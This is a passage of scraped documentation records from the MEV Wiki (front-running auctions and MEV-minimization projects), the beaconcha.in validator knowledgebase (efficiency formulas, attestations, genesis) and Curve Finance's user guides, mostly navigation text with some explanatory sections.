Previous Other attempts Next Front-running as a Service (FaaS) or MEV Auctions (MEVA) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Front-running as a Service (FaaS) or MEV Auctions (MEVA)", "html_url": "https://www.mev.wiki/solutions/faas-or-meva", "body": "Front-running as a Service (FaaS) or MEV Auctions (MEVA) MEVA and FaaS solutions. In a FaaS or MEVA system, MEV is extracted in a variety of ways such as miners auctioning off the right to front-run users. 'Centralizing MEV extraction is good because it quarantines a revenue stream that could otherwise drive centralization in other sectors.' Vitalik Buterin 'In this article, Im going to go deep into my personal arguments for why extracting MEV in cryptocurrencies isnt like theft, why it is a critical metric for network security in any distributed system secured by economic incentives (yes, including centralized ones), and what we should do about MEV in the next 3-5 years as a community.' Phil Daian, co-author of Flash Boys 2.0 See the various solutions: Private Transactions BackRunMe by bloXroute Flashbots mistX by alchemist KeeperDAO EDEN Network (ArcherSwap) Optimism MiningDAO BackBone Cabal Previous Solutions Next Private Transactions Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Private Transactions", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/private-transactions", "body": "Private Transactions Previous Front-running as a Service (FaaS) or MEV Auctions (MEVA) Next BackRunMe by bloXroute Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "BackRunMe by bloXroute", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/backrunme-by-bloxroute", "body": "BackRunMe by bloXroute Previous Private Transactions Next Flashbots Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Flashbots", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/flashbots", "body": "Flashbots Previous BackRunMe by bloXroute Next mistX by alchemist Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "mistX by alchemist", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/mistx-by-alchemist", "body": "mistX by alchemist Previous Flashbots Next KeeperDAO Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "KeeperDAO", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/keeperdao", "body": "KeeperDAO Previous mistX by alchemist Next EDEN Network (ArcherSwap) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "EDEN Network (ArcherSwap)", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/archerswap", "body": "EDEN Network (ArcherSwap) Previous KeeperDAO Next Optimism Last updated 2 years ago", "labels": ["Documentation"]}, {"title": "Optimism", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/optimism", "body": "Optimism Previous EDEN Network (ArcherSwap) Next MiningDAO Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "MiningDAO", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/miningdao", "body": "MiningDAO Previous Optimism Next BackBone Cabal Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "BackBone Cabal", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/backbone-cabal", "body": "BackBone Cabal Previous MiningDAO Next MEV Minimization Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "MEV Minimization", "html_url": "https://www.mev.wiki/solutions/mev-minimization", "body": "MEV Minimization MEV minimization and prevention solutions. Here are various solutions in MEV minimization: Conveyor (Automata Network) SecretSwap (Secret Network) Fair sequencing service (Chainlink) Arbitrum (Offchain Labs) Vega protocol CowSwap Veedo (StarkWare) LibSubmarine Sikka Shutter Network Previous BackBone Cabal Next Conveyor (Automata Network) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Conveyor (Automata Network)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/conveyor-automata-network", "body": "Conveyor (Automata Network) Previous MEV Minimization Next SecretSwap (Secret Network) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "SecretSwap (Secret Network)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/secretswap-secret-network", "body": "SecretSwap (Secret Network) Previous Conveyor (Automata Network) Next Fair sequencing service (Chainlink) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Fair sequencing service (Chainlink)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/fair-sequencing-service-chainlink", "body": "Fair sequencing service (Chainlink) Previous SecretSwap (Secret Network) Next Arbitrum (Offchain Labs) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Arbitrum (Offchain Labs)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/arbitrum-offchain-labs", "body": "Arbitrum (Offchain Labs) Previous Fair sequencing service (Chainlink) Next Vega protocol Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Vega protocol", "html_url": "https://www.mev.wiki/solutions/mev-minimization/vega-protocol", "body": "Vega protocol Previous Arbitrum (Offchain Labs) Next CowSwap Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "CowSwap", "html_url": "https://www.mev.wiki/solutions/mev-minimization/cowswap", "body": "CowSwap Previous Vega protocol Next Veedo (StarkWare) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Veedo (StarkWare)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/veedo-starkware", "body": "Veedo (StarkWare) Previous CowSwap Next LibSubmarine Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "LibSubmarine", "html_url": "https://www.mev.wiki/solutions/mev-minimization/libsubmarine", "body": "LibSubmarine Previous Veedo (StarkWare) Next Sikka Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Sikka", "html_url": "https://www.mev.wiki/solutions/mev-minimization/sikka", "body": "Sikka Previous LibSubmarine Next Shutter Network Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Shutter Network", "html_url": "https://www.mev.wiki/solutions/mev-minimization/shutter-network", "body": "Shutter Network Previous Sikka Next Other solutions Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Other solutions", "html_url": "https://www.mev.wiki/solutions/others", "body": "Other solutions Other ways to tackle MEV. Here are the list of other solutions: B.Protocol Previous Shutter Network Next B.Protocol Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "B.Protocol", "html_url": "https://www.mev.wiki/solutions/others/b.protocol", "body": "B.Protocol Previous Other solutions Next Miscellaneous Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Miscellaneous", "html_url": "https://www.mev.wiki/miscellaneous", "body": "Miscellaneous What Happens when Ethereum moves to Proof-of-Stake? The move from PoW to PoS consensus means the Ethereum network becomes secured by a set validators, who stake their ETH and vote on consensus, as opposed to miners who run mining equipment to solve for the proof of work. This change of consensus is set to happen likely some time in 2021. Some have suggested that this means Miner Extractable Value will become Validator Extractable Value. This is an ongoing discussion and you can follow this here: Link: https://hackmd.io/@flashbots/ryuH4gn7d From Paradigm's piece \"On Staking Pools and Staking Derivatives\" - Staking pools and their staking derivatives are subject to similar market realities as MEV extraction, in the sense that their existence is inevitable. Institutional staking pools (e.g. exchanges) may have social and reputational constraints that prevent them from extracting certain forms of MEV. This allows smaller staking firms and decentralized pools without these constraints to provide higher returns for their stakers. This could turn the decentralization premium for using a decentralized staking pool into a decentralization discount. Link: https://research.paradigm.xyz/staking Other Academic Papers Tesseract Tesseract proposes a front-running resistant exchange relying on Intel SGX as a trusted execution environment. Link: https://eprint.iacr.org/2017/1153.pdf Calypso Enables a blockchain to hold and manage secrets on-chain with the convenient property that it is able to protect against front-running. Link: https://eprint.iacr.org/2018/209.pdf Previous B.Protocol Next Contributions Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Contributions", "html_url": "https://www.mev.wiki/contributions", "body": "Contributions BUIDL with MEV Wiki If you would like to contribute to this Wiki on MEV knowledge, please click the \"Edit on Github\" button on any page. Then create a Github pull request to suggest your changes. This wiki is maintained & sponsored by Automata Network . If you would like to become a contributor, please join Automata Discord Server . Previous Miscellaneous Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "\ud83d\udc4bWelcome", "html_url": "https://kb.beaconcha.in/", "body": " Welcome Welcome to the beaconcha.in knowledgebase! beaconcha.in is the only explorer that visually merges the consensus and execution layers, significantly improving the user experience. It comes with a mobile app for android and IOS and the best part -- it's open source ! This knowledgebase covers Tutorials Definitions API explanations For questions and suggestions you can find us on X , Discord , v1-Github or v2-Github Quick start v2-beta Introducing v2 beta beaconcha.in v2 Slot viz Understanding the validator slot viz Efficiency Learn how validator `Efficiency` works Last updated 4 months ago", "labels": ["Documentation"]}, {"title": "\ud83c\udf89Introducing v2-beta", "html_url": "https://kb.beaconcha.in/v2beta/introduction", "body": " Introducing v2-beta Last updated 4 months ago", "labels": ["Documentation"]}, {"title": "\ud83d\udc41\ufe0fValidator dashboard Overview", "html_url": "https://kb.beaconcha.in/v2beta/validator-dashboard-overview", "body": " Validator dashboard Overview The Overview section summarizes the dashboard, making it especially useful on mobile devices, as users can identify offline validators without needing to scroll. Furthermore, users can create multiple dashboards directly through the dashboard by pressing the + button. If you are interested in viewing your withdrawals and transactions, you can switch to the Accounts dashboard. If you want to set up notifications, click the Notifications [soonTM] tab. Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "\ud83d\udfe9Slot visualization", "html_url": "https://kb.beaconcha.in/v2beta/slot-visualization", "body": " Slot visualization A metric for real-time validator monitoring Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "\ud83e\udec2Validator groups", "html_url": "https://kb.beaconcha.in/v2beta/validator-groups", "body": " Validator groups Group your validators to measure your nodes performance Last updated 4 months ago", "labels": ["Documentation"]}, {"title": "\u2692\ufe0fManage Validators", "html_url": "https://kb.beaconcha.in/v2beta/manage-validators", "body": " Manage Validators A modal to add, remove and assign validators Last updated 4 months ago", "labels": ["Documentation"]}, {"title": "\u2692\ufe0fManage Validators [API]", "html_url": "https://kb.beaconcha.in/v2beta/manage-validators-api", "body": " Manage Validators [API] Manage your validators via API To modify the validator dashboard via API, make sure to have an active Orca subscription . After creating a validator dashboard and the desired validator groups through the User Interface, you can add and assign validators to groups using our API. For Holesky, please adjust the base URL to: v2-beta-holesky.beaconcha.in The Group ID can be found in the Group Manage modal on the Dashboard During our beta the API key will only be visible in the account settings on https://beaconcha.in/user/settings#api Pass the API key as a parameter api_key https://v2-beta-holesky.beaconcha.in/api/v2/validator-dashboards/{dashboard_id}/validators?api_key=KEY Last updated 4 months ago", "labels": ["Documentation"]}, {"title": "\ud83e\udd1dShare your custom dashboard", "html_url": "https://kb.beaconcha.in/v2beta/share-your-custom-dashboard", "body": " Share your custom dashboard The Group feature makes every dashboard unique. For example, even if two dashboards contain the same validators, the charts and statistics would be different if the validators weere assigned to different groups. Thus, the dashboard allows you to share (read-only) a dashboard with its custom settings. This is extremely useful for larger staking entities that want to share their validator set internally, without providing access to a sensitive database. Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "\ud83e\uddb8Summary table", "html_url": "https://kb.beaconcha.in/v2beta/summary-table", "body": " Summary table Visualizes your validator performance in multiple time frames TODO :) Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "\ud83d\udcc8Metric: Validator Efficiency", "html_url": "https://kb.beaconcha.in/v2beta/metric-validator-efficiency", "body": " Metric: Validator Efficiency Efficiency, a metric to measure validator performance The validator Efficiency metric is a comprehensive measure of validator performance, integrating multiple components: Attestations Block proposals Sync committees This metric is designed to provide a holistic view of a validator's effectiveness. Some examples are available here . Components of Efficiency Note that the duty weighting is based on the consensus layer specification. Huge thanks to Ben Edington for providing https://eth2book.info/capella/ Attester Efficiency 84.4% (= 54/64) of validators' rewards come from attestations. Every epoch (~6.4 minutes), a validator proposes an attestation (vote) to the network. These attestations contain valuable information about the consensus layer and are rewarded based on their correctness and inclusion delay. An attestation consists of three votes: - Head vote - Source vote - Target vote If a validator votes correctly on all three and is included in the block with the best inclusion delay (1), the reward will be 100%, as good as it can be. Conveniently, the beacon node API returns the idealReward for a given epoch. The idealReward represents the maximum potential rewards based on optimal performance, which allows us to calculate attester efficiency. Copy attester_efficiency = actualReward / idealReward Proposer Efficiency Block proposals are purely luck-based, but over the long run, 12.5% (8/64) of validators' rewards come from block proposals. Blocks include execution rewards (transaction rewards + MEV rewards) and scale with the number of attestations and sync committee outputs included in a block. Comparing validator performance based on the luck of inclusion of attestations and MEV rewards (which highly depend on market volatility) would not provide meaningful context. Thus, proposer efficiency solely depends on the number of successfully proposed blocks divided by the total number of blocks that a validator could have proposed. This leads to the following formula: Copy proposer_efficiency = proposedBlocks / totalBlocks Some validators may not be lucky enough to propose a block, but their efficiency needs to be comparable with other validators who did propose a block. For this reason, the proposer efficiency will be 1 for validators who did not propose a block. Our v2 dashboard and API will provide both proposal efficiency and efficiency to provide more context. Sync Efficiency Every 256 epochs, 512 validators are elected to be part of the sync committee. Like block proposals, being part of a sync committee is purely luck-based. However, over the long run, 3.1% (2/64) of validators' rewards come from sync committee duties. With 500,000 validators, the expected time between being selected for sync committee duty is approximately 37 months. During this period, the rewards for sync committee members are significantly higher. Compared to attestations, which occur once per epoch, sync duties occur in every slot for 256 epochs, totaling 8192 duties per sync committee member. To reflect actual performance, sync efficiency doesnt rely on rewards but on the number of correctly executed sync duties. To avoid skewing the sync efficiency by the scheduled duties, we divide it. Since sync duties need to be included in a block by the block proposer, we subtract missed blocks that occurred during this period to avoid penalizing the sync committee member. This leads to the following formula Copy sync_efficiency = executed_Sync / (scheduled_Sync - missed_Blocks) Validators may not be lucky enough to be elected in a sync committee, but their efficiency needs to be comparable with other validators who did participate. For this reason, the sync efficiency will be 1 for validators who were not elected. Our v2 dashboard and API will provide both proposal efficiency and efficiency to provide more context. Examples: Efficiency calculation Example 1 When a validator has attestations, block proposals, and sync committees , the efficiency is calculated as: Copy efficiency = ((54/64 * attester_efficiency) + (8/64 * proposer_efficiency) + (2/64 * sync_efficiency)) Example 2 For validators who have participated in attestations and block proposals but not in sync committees , the efficiency is computed as: Copy efficiency = ((56/64 * attester_efficiency) + (8/64 * proposer_efficiency)) Example 3 When a validator has participated in attestations and sync committees but not in block proposals , the efficiency formula is: Copy efficiency = ((62/64 * attester_efficiency) + (2/64 * sync_efficiency)) Example 4 If a validator has participated only in attestations, the efficiency is simply: Copy efficiency = 1 * attester_efficiency Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Notifications", "html_url": "https://kb.beaconcha.in/v1-beaconcha.in-explorer/notifications", "body": "Notifications Understanding notifications How to configure beaconcha.in notifications Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Understanding notifications", "html_url": "https://kb.beaconcha.in/v1-beaconcha.in-explorer/notifications/understanding-notifications", "body": "Understanding notifications", "labels": ["Documentation"]}, {"title": "Notification configuration", "html_url": "https://kb.beaconcha.in/v1-beaconcha.in-explorer/notifications/beaconcha.in-notifications", "body": "Notification configuration How to configure beaconcha.in notifications Last updated 11 months ago", "labels": ["Documentation"]}, {"title": "Mobile App <> Node Monitoring", "html_url": "https://kb.beaconcha.in/v1-beaconcha.in-explorer/mobile-app-less-than-greater-than-beacon-node", "body": "Mobile App <> Node Monitoring A step by step tutorial on how to monitor your staking device & beaconnode on the beaconcha.in mobile app Last updated 11 months ago", "labels": ["Documentation"]}, {"title": "Optimal Inclusion Distance", "html_url": "https://kb.beaconcha.in/v1-beaconcha.in-explorer/optimal-inclusion-distance", "body": "Optimal Inclusion Distance Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Glossary", "html_url": "https://kb.beaconcha.in/ethereum-staking/glossary", "body": "Glossary Last updated 11 months ago", "labels": ["Documentation"]}, {"title": "The Genesis Event", "html_url": "https://kb.beaconcha.in/ethereum-staking/the-genesis-event", "body": "The Genesis Event A visualisation of the Genesis Event on Ethereum 2.0 Keywords Deposit contract Seconds_Per_Eth1_Block = 14 seconds Eth1_Follow_Distance = 2048 blocks * 14 seconds Min_Genesis_Time = 1606824000 (12:00:00 pm UTC | Tuesday, December 1, 2020) Min_Genesis_Active_Validator_Count = 16,384 Genesis_Delay = 7 days Ethereum 2.0 Beacon-chain Genesis Event Conditions There are two conditions that have to get triggered to get the Ethereum 2.0 chain started! The threshold of 16,384 validators needs to be hit The ETH1 block (=Trigger block) which determines the genesis time for ETH2 cannot be earlier than min_genesis_time. Trigger ETH1 block = min_genesis_time - genesis_delay Scenario One The required amount of deposits ( Min_Genesis_Active_Validator_Count) to fulfil the first condition occurs very quickly once the deposit contract has been deployed and before min_genesis_time . Once the threshold of 16,384 deposits is met, the network will try to accomplish the second condition by trying to find the trigger block by calculating min_genesis_time - genesis_delay. The goal of the trigger block (min_genesis_time - genesis_delay) is that the chain can never start earlier than min_genesis_time . The second scenario will make this clearer. Scenario Two The required amount of deposits ( Min_Genesis_Active_Validator_Count) to fulfil the first condition occurs after min_genesis_time. In this case, the second condition is met first and the trigger block becomes whatever min_genesis_time was set. The trigger block (second condition) is achieved right after the deposit contract receives 16,384 validator deposits. Genesis time becomes Trigger-block-timestamp + genesis_delay . Sources: Ethereum 2.0 Spec The Genesis of a Beacon Chain Last updated 11 months ago", "labels": ["Documentation"]}, {"title": "Ethereum Validator Keys", "html_url": "https://kb.beaconcha.in/ethereum-staking/ethereum-2-keys", "body": "Ethereum Validator Keys An overview of ethereum staking keys Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Deposit Process", "html_url": "https://kb.beaconcha.in/ethereum-staking/deposit-process", "body": "Deposit Process Ethereum staking deposit process Last updated 11 months ago", "labels": ["Documentation"]}, {"title": "Rewards and Penalties", "html_url": "https://kb.beaconcha.in/ethereum-staking/rewards-and-penalties", "body": "Rewards and Penalties The journey of a validator balance Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Attestation", "html_url": "https://kb.beaconcha.in/ethereum-staking/attestation", "body": "Attestation An overview of attestations Attestation Every Epoch (~6.4 minutes) a validator proposes an attestation (vote) to the network. This vote consists of the following segments: Committee Validator Index Finality vote Signature Chain head vote (vote on what the validator believes is the head of the chain) If we multiply that with the information included in each Attestation per Epoch, it adds up quickly. Therefore, the consensus layer aggregates all of that information and minimises the data growth. Aggregated Attestation Each block one or more committees are chosen to attest. A committee has a minimum of 128 validators, of which 16 are randomly selected to become an aggregator. As shown below, the validators broadcast their unaggregated attestation to the aggregators (red arrow). The aggregators then merge the attestations and forward a single aggregated attestation to the block proposer . Attestation Inclusion Lifecycle Generation Propagation Aggregation Propagation Inclusion Rewards The attestation reward is dependent on two variables, the base reward and the inclusion delay. The best case for the inclusion delay is to be 1. Base reward ( Validator effective balance * 2**6 ) / SQRT( Effective balance of all active validators ) Inclusion delay At the time when the validators voted on the head of the chain (Block 0), Block 1 was not proposed yet. Therefore attestations naturally get included one block later; so all attestations who voted on Block 0 being the chain head got included in Block 1 and, the inclusion delay is 1. The effects of the inclusion delay on the attestation reward As shown below, an Inclusion delay of 2 causes the the reward to drop by 50%. A ttestation scenarios Missing Voting Validator These validators have a maximum of 1 epoch to submit their attestation. If the attestation was missed in epoch 0, they can submit it with an inclusion delay in epoch 1. Missing Aggregator There are 16 Aggregators per epoch in total, additionally, random validators from the beacon-chain subscribe to two subnets for 256 Epochs and serve as a backup in case aggregators are missing. Missing block proposer Note that in some cases a lucky aggregator may also become the block proposer. If the attestation was not included because the block proposer has gone missing, the next block proposer would pick the aggregated attestation up and include it into the next block. However, the inclusion delay will increase by one. Credits Attestation effectiveness - AttestantIO Attestation Inclusion - Adrian Sutton (Consensys) Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Welcome to Curve Finance Resources", "html_url": "https://resources.curve.fi/", "body": "Curve Resources CurveDocs/curve-resources Home Home Table of contents Useful Links Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Useful Links Welcome to Curve Finance Resources Use the information within to explore the world of Curve, a leading decentralized exchange, stablecoin provider, and lending platform on Ethereum and EVM-compatible chains. It's known for it's advanced automated market-makers for stablecoins and volatile assets, and it's unique soft-liquidation system for loans. This documentation provides a clear overview of Curve's diverse features and functionalities. Learn about Curve pools , including stablecoin pools and volatile pools, gain insights into the CRV token , and understand the innovative crvUSD stablecoin and new lending platform. This website offers an easy to understand guide to get to know the whole of Curve's dynamic ecosystem in an easy to read way. Please see the technical documentation for developer information. Resources and guides to get started with Curve and the Curve DAO Asset 1 CRV Token Explore the dynamics of the CRV Token: Tokenomics, Staking, Claiming Fees, and more. Learn More image/svg+xml veCRV Obtain veCRV by locking CRV tokens, which allows users to participate in governance, boost their LP rewards, and earn protocol accrued fees. Learn More crvUSD Learn about crvUSD, including its creation, management, and key concepts, along with a comprehensive FAQ section. Learn More Lend Discover Curve's lending system, including how to supply, borrow, and create lending markets. Learn More Pools Understand Curve pools, yield calculations, and the deposit process. Learn More Creating Pools Understand the Pool Factory and dive into the pool creation process. Learn More Reward Gauges Explore gauges in-depth, including creation, boosting CRV rewards, understanding gauge weights, and permissionless rewards. Learn More Governance Gain insights into Curve's governance structure: Vote Locking, Voting, and Proposals. Learn More Multi-Chain Explore the multi-chain aspect of Curve, including bridging funds and understanding the cross-chain functionalities. Learn More Troubleshooting Find solutions for common issues like cross-asset swaps, stuck transactions, and wallet integrations. Learn More Useful Links Governance Dashboard Governance Forum Telegram Twitter Discord YouTube Technical Docs Back to top", "labels": ["Documentation"]}, {"title": "Understanding Curve & Stableswap (v1)", "html_url": "https://resources.curve.fi/base-features/understanding-curve/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) Understanding Curve & Stableswap (v1) Table of contents What is Curve.fi? What are liquidity pools & why should I deposit? How much does it cost to swap through Curve? What are those percentages next to each pool? What is the CRV token? Can I use Curve on sidechains? How Can I Launch a Pool Why has Curve grown so quickly? Where can I find Curve smart contracts? Whitepaper CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents What is Curve.fi? What are liquidity pools & why should I deposit? How much does it cost to swap through Curve? What are those percentages next to each pool? What is the CRV token? Can I use Curve on sidechains? How Can I Launch a Pool Why has Curve grown so quickly? Where can I find Curve smart contracts? Whitepaper Home Getting Started Understanding Curve & Stableswap (v1) Getting started with Curve isnt easy, there is a lot to grasp and the unique UI can be a lot to take in. This small guide is intended for Curve beginners with an understanding of DeFi and Crypto. It tries to answer recurring questions about how to get started with Curve and how it works or makes money for liquidity providers. What is Curve.fi? The easiest way to understand Curve is to see it as an exchange. Its main goal is to let users and other decentralised protocols exchange ERC-20 tokens (DAI to USDC for example) through it with low fees and low slippage . Unlike exchanges that match a buyer and a seller, Curve uses liquidity pools. To achieve successful exchange volume, Curve needs a high volume of liquidity (tokens) and therefore offers rewards to liquidity providers . Curve is non-custodial , meaning the Curve developers do not have access to your tokens. Curve pools are also non-upgradable, so you can have confidence that the logic protecting your funds can never change. What are liquidity pools & why should I deposit? Liquidity pools are pools of tokens held in smart contracts that allow users to exchange or withdraw tokens at set rates. By adding liquidity to a Curve pool, you earn passive income through trading fees, with rewards based on your contribution. Additionally, you may receive extra incentives like CRV tokens or Points, increasing your returns. Providing liquidity also helps maintain efficient, low-cost trades for all swappers, benefiting the whole DeFi ecosystem. For more information, visit the following section: Understanding Curve Pools How much does it cost to swap through Curve? Different pools have different fees. Most are typically in the range of 0.01-0.4%. Newer pools have dynamic fees, and so these fees can go higher if the pool is in high demand. The current fee is listed on each pool's page. What are those percentages next to each pool? Curve pools may have several different percentages shown next to them in the UI. The first column, vAPY, refers to the annualized rate of trading fees earned by liquidity providers in the pool. Swaps through Curve pools generate fees, a portion of which accrue to everybody who has a stake in the pool. Further information is in the Liquidity Provider section . The second column refers to the reward gauges. This entitles liquidity providers to earn bonus CRV emissions. More detail on these bonuses are in the Reward Gauges section . What is the CRV token? CRV token is a governance and utility token for Curve. Understanding CRV Understanding Governance Can I use Curve on sidechains? Yes. Curve has launched on several sidechains and will continue to do so. Visit our section on Multichain for more information. How Can I Launch a Pool All new Curve pools are deployed permissionlessly through the Curve Factory. This means anybody can deploy a pool anytime, anywhere. For a full guide, check our Factory Pools section. Why has Curve grown so quickly? When Curve launched it grew quickly by securing the underdeveloped stablecoin market. Stablecoins have become an inherent part of cryptocurrency for a long time but they now come in many different flavours (DAI, TUSD, sUSD, bUSD, USDC and so on) which means there is a much bigger need for crypto users to move from a stable coin to another. Centralised exchanges tend to have high fees which are problematic for those trying to move from a stable coin to another. As a result, Curve.fi has become the best place to exchange stable coins because of its low fees and low slippage. More recently, Curve launched v2 Crypto Pools to bring the same simplicity and efficiency of Curve's stablecoin pools to transactions between differentially priced assets (ie BTC and ETH). These pools are sufficiently different to justify their own section: Where can I find Curve smart contracts? The Github repository also open sources the bulk of Curve development activity. Whitepaper StableSwap (Curve V1) Whitepaper For a detailed overview of Curve V1, please read the official whitepaper . Back to top", "labels": ["Documentation"]}, {"title": "CRV & veCRV FAQ", "html_url": "https://resources.curve.fi/crv-token/faq/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ CRV & veCRV FAQ Table of contents What is the purpose and utility of CRV? How to get CRV? Where can I find the release schedule? What is the current circulating supply? When was CRV launched? What is CRV vote-locking? What is the vote locking boost? When did the boost start? What are veCRV? How is your boost calculated? What if I provide liquidity in multiple pools? What happens if more people vote lock? How often does my boost records voting power changes? How can I apply my boost? How to know my boost is active? How does the yearly emissions reduction work? How is CRV minted? Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents What is the purpose and utility of CRV? How to get CRV? Where can I find the release schedule? What is the current circulating supply? When was CRV launched? What is CRV vote-locking? What is the vote locking boost? When did the boost start? What are veCRV? How is your boost calculated? What if I provide liquidity in multiple pools? What happens if more people vote lock? How often does 